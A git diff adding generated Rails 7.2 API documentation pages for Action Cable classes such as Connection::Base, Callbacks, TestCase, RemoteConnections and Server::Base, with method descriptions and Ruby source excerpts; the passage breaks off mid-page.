+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 120
+      def close(reason: nil, reconnect: true)
+        transmit(
+          type: ActionCable::INTERNAL[:message_types][:disconnect],
+          reason: reason,
+          reconnect: reconnect
+        )
+        websocket.close
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + handle_channel_command(payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 109
+      def handle_channel_command(payload)
+        run_callbacks :command do
+          subscriptions.execute_command payload
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_async(method, *arguments) + +

+ + +
+

Invoke a method on the connection asynchronously through the pool of thread workers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 131
+      def send_async(method, *arguments)
+        worker_pool.async_invoke(self, method, *arguments)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + statistics() + +

+ + +
+

Return a basic hash of statistics for the connection keyed with identifier, started_at, subscriptions, and request_id. This can be returned by a health check against the connection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 138
+      def statistics
+        {
+          identifier: connection_identifier,
+          started_at: @started_at,
+          subscriptions: subscriptions.identifiers,
+          request_id: @env["action_dispatch.request_id"]
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + cookies() + +

+ + +
+

The cookies of the request that initiated the WebSocket connection. Useful for performing authorization checks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 187
+        def cookies # :doc:
+          request.cookie_jar
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request() + +

+ + +
+

The request that initiated the WebSocket connection is available here. This gives access to the environment, cookies, etc.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/base.rb, line 178
+        def request # :doc:
+          @request ||= begin
+            environment = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+            ActionDispatch::Request.new(environment || env)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Callbacks.html b/src/7.2/classes/ActionCable/Connection/Callbacks.html new file mode 100644 index 0000000000..9cfed4b5fc --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Callbacks.html @@ -0,0 +1,107 @@ +--- +title: ActionCable::Connection::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Connection Callbacks

+ +

The before_command, after_command, and around_command callbacks are invoked when sending commands to the client, such as when subscribing, unsubscribing, or performing an action.

+ +

Example

+ +
module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :user
+
+    around_command :set_current_account
+
+    private
+
+    def set_current_account
+      # Now all channels could use Current.account
+      Current.set(account: user.account) { yield }
+    end
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Callbacks/ClassMethods.html b/src/7.2/classes/ActionCable/Connection/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..f2b64bb047 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Callbacks/ClassMethods.html @@ -0,0 +1,179 @@ +--- +title: ActionCable::Connection::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_command(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/callbacks.rb, line 47
+        def after_command(*methods, &block)
+          set_callback(:command, :after, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + around_command(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/callbacks.rb, line 51
+        def around_command(*methods, &block)
+          set_callback(:command, :around, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_command(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/callbacks.rb, line 43
+        def before_command(*methods, &block)
+          set_callback(:command, :before, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Identification.html b/src/7.2/classes/ActionCable/Connection/Identification.html new file mode 100644 index 0000000000..d34b8a4b83 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Identification.html @@ -0,0 +1,118 @@ +--- +title: ActionCable::Connection::Identification +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + connection_identifier() + +

+ + +
+

Return a single connection identifier that combines the value of all the registered identifiers into a single gid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/identification.rb, line 31
+      def connection_identifier
+        unless defined? @connection_identifier
+          @connection_identifier = connection_gid identifiers.filter_map { |id| instance_variable_get("@#{id}") }
+        end
+
+        @connection_identifier
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/Identification/ClassMethods.html b/src/7.2/classes/ActionCable/Connection/Identification/ClassMethods.html new file mode 100644 index 0000000000..c4f22b571e --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/Identification/ClassMethods.html @@ -0,0 +1,104 @@ +--- +title: ActionCable::Connection::Identification::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + identified_by(*identifiers) + +

+ + +
+

Mark a key as being a connection identifier index that can then be used to find the specific connection again later. Common identifiers are current_user and current_account, but could be anything, really.

+ +

Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/identification.rb, line 23
+        def identified_by(*identifiers)
+          Array(identifiers).each { |identifier| attr_accessor identifier }
+          self.identifiers += identifiers
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/InternalChannel.html b/src/7.2/classes/ActionCable/Connection/InternalChannel.html new file mode 100644 index 0000000000..d23cc9d521 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/InternalChannel.html @@ -0,0 +1,62 @@ +--- +title: ActionCable::Connection::InternalChannel +layout: default +--- +
+ +
+
+ +
+ +

Action Cable InternalChannel

+ +

Makes it possible for the RemoteConnection to disconnect a specific connection.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/NonInferrableConnectionError.html b/src/7.2/classes/ActionCable/Connection/NonInferrableConnectionError.html new file mode 100644 index 0000000000..0d10f5b9b2 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/NonInferrableConnectionError.html @@ -0,0 +1,109 @@ +--- +title: ActionCable::Connection::NonInferrableConnectionError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 15
+      def initialize(name)
+        super "Unable to determine the connection to test from #{name}. " +
+          "You'll need to specify it using `tests YourConnection` in your " +
+          "test case definition."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/StreamEventLoop.html b/src/7.2/classes/ActionCable/Connection/StreamEventLoop.html new file mode 100644 index 0000000000..d1fb1a608a --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/StreamEventLoop.html @@ -0,0 +1,367 @@ +--- +title: ActionCable::Connection::StreamEventLoop +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 10
+      def initialize
+        @nio = @executor = @thread = nil
+        @map = {}
+        @stopping = false
+        @todo = Queue.new
+
+        @spawn_mutex = Mutex.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attach(io, stream) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 30
+      def attach(io, stream)
+        @todo << lambda do
+          @map[io] = @nio.register(io, :r)
+          @map[io].value = stream
+        end
+        wakeup
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + detach(io, stream) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 38
+      def detach(io, stream)
+        @todo << lambda do
+          @nio.deregister io
+          @map.delete io
+          io.close
+        end
+        wakeup
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + post(task = nil, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 23
+      def post(task = nil, &block)
+        task ||= block
+
+        spawn
+        @executor << task
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 56
+      def stop
+        @stopping = true
+        wakeup if @nio
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + timer(interval, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 19
+      def timer(interval, &block)
+        Concurrent::TimerTask.new(execution_interval: interval, &block).tap(&:execute)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + writes_pending(io) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/stream_event_loop.rb, line 47
+      def writes_pending(io)
+        @todo << lambda do
+          if monitor = @map[io]
+            monitor.interests = :rw
+          end
+        end
+        wakeup
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TaggedLoggerProxy.html b/src/7.2/classes/ActionCable/Connection/TaggedLoggerProxy.html new file mode 100644 index 0000000000..e23894258e --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TaggedLoggerProxy.html @@ -0,0 +1,259 @@ +--- +title: ActionCable::Connection::TaggedLoggerProxy +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Connection TaggedLoggerProxy

+ +

Allows the use of per-connection tags against the server logger. This wouldn’t work using the traditional ActiveSupport::TaggedLogging enhanced Rails.logger, as that logger will reset the tags between requests. The connection is long-lived, so it needs its own set of tags for its independent duration.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + tags
+ + + + +

Class Public methods

+ +
+

+ + new(logger, tags:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/tagged_logger_proxy.rb, line 16
+      def initialize(logger, tags:)
+        @logger = logger
+        @tags = tags.flatten
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_tags(*tags) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/tagged_logger_proxy.rb, line 21
+      def add_tags(*tags)
+        @tags += tags.flatten
+        @tags = @tags.uniq
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tag(logger, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/tagged_logger_proxy.rb, line 26
+      def tag(logger, &block)
+        if logger.respond_to?(:tagged)
+          current_tags = tags - logger.formatter.current_tags
+          logger.tagged(*current_tags, &block)
+        else
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + log(type, message, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/tagged_logger_proxy.rb, line 42
+        def log(type, message, &block) # :doc:
+          tag(@logger) { @logger.send type, message, &block }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestCase.html b/src/7.2/classes/ActionCable/Connection/TestCase.html new file mode 100644 index 0000000000..85c037edab --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestCase.html @@ -0,0 +1,159 @@ +--- +title: ActionCable::Connection::TestCase +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Connection TestCase

+ +

Unit test Action Cable connections.

+ +

Useful to check whether a connection’s identified_by gets assigned properly and that any improper connection requests are rejected.

+ +

Basic example

+ +

Unit tests are written as follows:

+
  1. +

    Simulate a connection attempt by calling connect.

    +
  2. +

    Assert state, e.g. identifiers, has been assigned.

    + +

    class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase def test_connects_with_proper_cookie # Simulate the connection request with a cookie. cookies = users(:john).id

    + +
    connect
    +
    +# Assert the connection identifier matches the fixture.
    +assert_equal users(:john).id, connection.user.id
    +
    + +

    end

    + +

    def test_rejects_connection_without_proper_cookie assert_reject_connection { connect } end end

    +
+ +

connect accepts additional information about the HTTP request with the params, headers, session, and Rack env options.

+ +
def test_connect_with_headers_and_query_string
+  connect params: { user_id: 1 }, headers: { "X-API-TOKEN" => "secret-my" }
+
+  assert_equal "1", connection.user.id
+  assert_equal "secret-my", connection.token
+end
+
+def test_connect_with_params
+  connect params: { user_id: 1 }
+
+  assert_equal "1", connection.user.id
+end
+
+ +

You can also set up the correct cookies before the connection request:

+ +
def test_connect_with_cookies
+  # Plain cookies:
+  cookies["user_id"] = 1
+
+  # Or signed/encrypted:
+  # cookies.signed["user_id"] = 1
+  # cookies.encrypted["user_id"] = 1
+
+  connect
+
+  assert_equal "1", connection.user_id
+end
+
+ +

Connection is automatically inferred

+ +

ActionCable::Connection::TestCase will automatically infer the connection under test from the test class name. If the channel cannot be inferred from the test class name, you can explicitly set it with tests.

+ +
class ConnectionTest < ActionCable::Connection::TestCase
+  tests ApplicationCable::Connection
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestCase/Behavior.html b/src/7.2/classes/ActionCable/Connection/TestCase/Behavior.html new file mode 100644 index 0000000000..ad790cc50d --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestCase/Behavior.html @@ -0,0 +1,263 @@ +--- +title: ActionCable::Connection::TestCase::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_PATH="/cable"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + connection
+ + + + + +

Instance Public methods

+ +
+

+ + connect(path = ActionCable.server.config.mount_path, **request_params) + +

+ + +
+

Performs connection attempt to exert connect on the connection under test.

+ +

Accepts request path as the first argument and the following request options:

+
  • +

    params – URL parameters (Hash)

    +
  • +

    headers – request headers (Hash)

    +
  • +

    session – session data (Hash)

    +
  • +

    env – additional Rack env configuration (Hash)

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 195
+        def connect(path = ActionCable.server.config.mount_path, **request_params)
+          path ||= DEFAULT_PATH
+
+          connection = self.class.connection_class.allocate
+          connection.singleton_class.include(TestConnection)
+          connection.send(:initialize, build_test_request(path, **request_params))
+          connection.connect if connection.respond_to?(:connect)
+
+          # Only set instance variable if connected successfully
+          @connection = connection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cookies() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 215
+        def cookies
+          @cookie_jar ||= TestCookieJar.new
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect() + +

+ + +
+

Exert disconnect on the connection under test.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 208
+        def disconnect
+          raise "Must be connected!" if connection.nil?
+
+          connection.disconnect if connection.respond_to?(:disconnect)
+          @connection = nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestCase/Behavior/ClassMethods.html b/src/7.2/classes/ActionCable/Connection/TestCase/Behavior/ClassMethods.html new file mode 100644 index 0000000000..4db185b468 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestCase/Behavior/ClassMethods.html @@ -0,0 +1,194 @@ +--- +title: ActionCable::Connection::TestCase::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + connection_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 170
+          def connection_class
+            if connection = self._connection_class
+              connection
+            else
+              tests determine_default_connection(name)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + determine_default_connection(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 178
+          def determine_default_connection(name)
+            connection = determine_constant_from_test_name(name) do |constant|
+              Class === constant && constant < ActionCable::Connection::Base
+            end
+            raise NonInferrableConnectionError.new(name) if connection.nil?
+            connection
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(connection) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 159
+          def tests(connection)
+            case connection
+            when String, Symbol
+              self._connection_class = connection.to_s.camelize.constantize
+            when Module
+              self._connection_class = connection
+            else
+              raise NonInferrableConnectionError.new(connection)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestConnection.html b/src/7.2/classes/ActionCable/Connection/TestConnection.html new file mode 100644 index 0000000000..5e89ddbf5a --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestConnection.html @@ -0,0 +1,127 @@ +--- +title: ActionCable::Connection::TestConnection +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + logger
+ [R] + request
+ + + + +

Class Public methods

+ +
+

+ + new(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 60
+      def initialize(request)
+        inner_logger = ActiveSupport::Logger.new(StringIO.new)
+        tagged_logging = ActiveSupport::TaggedLogging.new(inner_logger)
+        @logger = ActionCable::Connection::TaggedLoggerProxy.new(tagged_logging, tags: [])
+        @request = request
+        @env = request.env
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestCookieJar.html b/src/7.2/classes/ActionCable/Connection/TestCookieJar.html new file mode 100644 index 0000000000..e7c3084ab1 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestCookieJar.html @@ -0,0 +1,152 @@ +--- +title: ActionCable::Connection::TestCookieJar +layout: default +--- +
+ +
+
+ +
+ +

We don’t want to use the whole β€œencryption stack” for connection unit-tests, but we want to make sure that users test against the correct types of cookies (i.e. signed or encrypted or plain)

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + encrypted() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 48
+      def encrypted
+        @encrypted ||= TestCookies.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/connection/test_case.rb, line 44
+      def signed
+        @signed ||= TestCookies.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Connection/TestRequest.html b/src/7.2/classes/ActionCable/Connection/TestRequest.html new file mode 100644 index 0000000000..da4eabbfc0 --- /dev/null +++ b/src/7.2/classes/ActionCable/Connection/TestRequest.html @@ -0,0 +1,82 @@ +--- +title: ActionCable::Connection::TestRequest +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + cookie_jar
+ [RW] + session
+ + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Helpers.html b/src/7.2/classes/ActionCable/Helpers.html new file mode 100644 index 0000000000..6d16f4ad17 --- /dev/null +++ b/src/7.2/classes/ActionCable/Helpers.html @@ -0,0 +1,67 @@ +--- +title: ActionCable::Helpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Helpers/ActionCableHelper.html b/src/7.2/classes/ActionCable/Helpers/ActionCableHelper.html new file mode 100644 index 0000000000..1a81e4d57d --- /dev/null +++ b/src/7.2/classes/ActionCable/Helpers/ActionCableHelper.html @@ -0,0 +1,130 @@ +--- +title: ActionCable::Helpers::ActionCableHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + action_cable_meta_tag() + +

+ + +
+

Returns an β€œaction-cable-url” meta tag with the value of the URL specified in your configuration. Ensure this is above your JavaScript tag:

+ +
<head>
+  <%= action_cable_meta_tag %>
+  <%= javascript_include_tag 'application', 'data-turbo-track' => 'reload' %>
+</head>
+
+ +

This is then used by Action Cable to determine the URL of your WebSocket server. Your JavaScript can then connect to the server without needing to specify the URL directly:

+ +
import Cable from "@rails/actioncable"
+window.Cable = Cable
+window.App = {}
+App.cable = Cable.createConsumer()
+
+ +

Make sure to specify the correct server location in each of your environment config files:

+ +
config.action_cable.mount_path = "/cable123"
+<%= action_cable_meta_tag %> would render:
+=> <meta name="action-cable-url" content="/cable123" />
+
+config.action_cable.url = "ws://actioncable.com"
+<%= action_cable_meta_tag %> would render:
+=> <meta name="action-cable-url" content="ws://actioncable.com" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/helpers/action_cable_helper.rb, line 36
+      def action_cable_meta_tag
+        tag "meta", name: "action-cable-url", content: (
+          ActionCable.server.config.url ||
+          ActionCable.server.config.mount_path ||
+          raise("No Action Cable URL configured -- please configure this at config.action_cable.url")
+        )
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/RemoteConnections.html b/src/7.2/classes/ActionCable/RemoteConnections.html new file mode 100644 index 0000000000..77d8ef7950 --- /dev/null +++ b/src/7.2/classes/ActionCable/RemoteConnections.html @@ -0,0 +1,201 @@ +--- +title: ActionCable::RemoteConnections +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Remote Connections

+ +

If you need to disconnect a given connection, you can go through the RemoteConnections. You can find the connections you’re looking for by searching for the identifier declared on the connection. For example:

+ +
module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    identified_by :current_user
+    ....
+  end
+end
+
+ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect
+
+ +

This will disconnect all the connections established for User.find(1), across all servers running on all machines, because it uses the internal channel that all of these servers are subscribed to.

+ +

By default, server sends a β€œdisconnect” message with β€œreconnect” flag set to true. You can override it by specifying the reconnect option:

+ +
ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect(reconnect: false)
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + server
+ + + + +

Class Public methods

+ +
+

+ + new(server) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/remote_connections.rb, line 34
+    def initialize(server)
+      @server = server
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + where(identifier) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/remote_connections.rb, line 38
+    def where(identifier)
+      RemoteConnection.new(server, identifier)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection.html b/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection.html new file mode 100644 index 0000000000..310d2ded36 --- /dev/null +++ b/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection.html @@ -0,0 +1,185 @@ +--- +title: ActionCable::RemoteConnections::RemoteConnection +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Remote Connection

+ +

Represents a single remote connection found via ActionCable.server.remote_connections.where(*). Exists solely for the purpose of calling disconnect on that connection.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + server
+ + + + +

Class Public methods

+ +
+

+ + new(server, ids) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/remote_connections.rb, line 53
+        def initialize(server, ids)
+          @server = server
+          set_identifier_instance_vars(ids)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + disconnect(reconnect: true) + +

+ + +
+

Uses the internal channel to disconnect the connection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/remote_connections.rb, line 59
+        def disconnect(reconnect: true)
+          server.broadcast internal_channel, { type: "disconnect", reconnect: reconnect }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection/InvalidIdentifiersError.html b/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection/InvalidIdentifiersError.html new file mode 100644 index 0000000000..2838d379e4 --- /dev/null +++ b/src/7.2/classes/ActionCable/RemoteConnections/RemoteConnection/InvalidIdentifiersError.html @@ -0,0 +1,60 @@ +--- +title: ActionCable::RemoteConnections::RemoteConnection::InvalidIdentifiersError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server.html b/src/7.2/classes/ActionCable/Server.html new file mode 100644 index 0000000000..0d4af84393 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server.html @@ -0,0 +1,88 @@ +--- +title: ActionCable::Server +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Server/Base.html b/src/7.2/classes/ActionCable/Server/Base.html new file mode 100644 index 0000000000..9bb42c45c1 --- /dev/null +++ b/src/7.2/classes/ActionCable/Server/Base.html @@ -0,0 +1,525 @@ +--- +title: ActionCable::Server::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Server Base

+ +

A singleton ActionCable::Server instance is available via ActionCable.server. It’s used by the Rack process that starts the Action Cable server, but is also used by the user to reach the RemoteConnections object, which is used for finding and disconnecting connections across all servers.

+ +

Also, this is the server instance used for broadcasting. See Broadcasting for more information.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + config
+ [R] + mutex
+ + + + +

Class Public methods

+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 26
+      def self.logger; config.logger; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(config: self.class.config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/server/base.rb, line 31
+      def initialize(config: self.class.config)
+        @config = config
+        @mutex = Monitor.new
+        @remote_connections = @event_loop = @worker_pool = @pubsub = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+

Called by Rack to set up the server.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
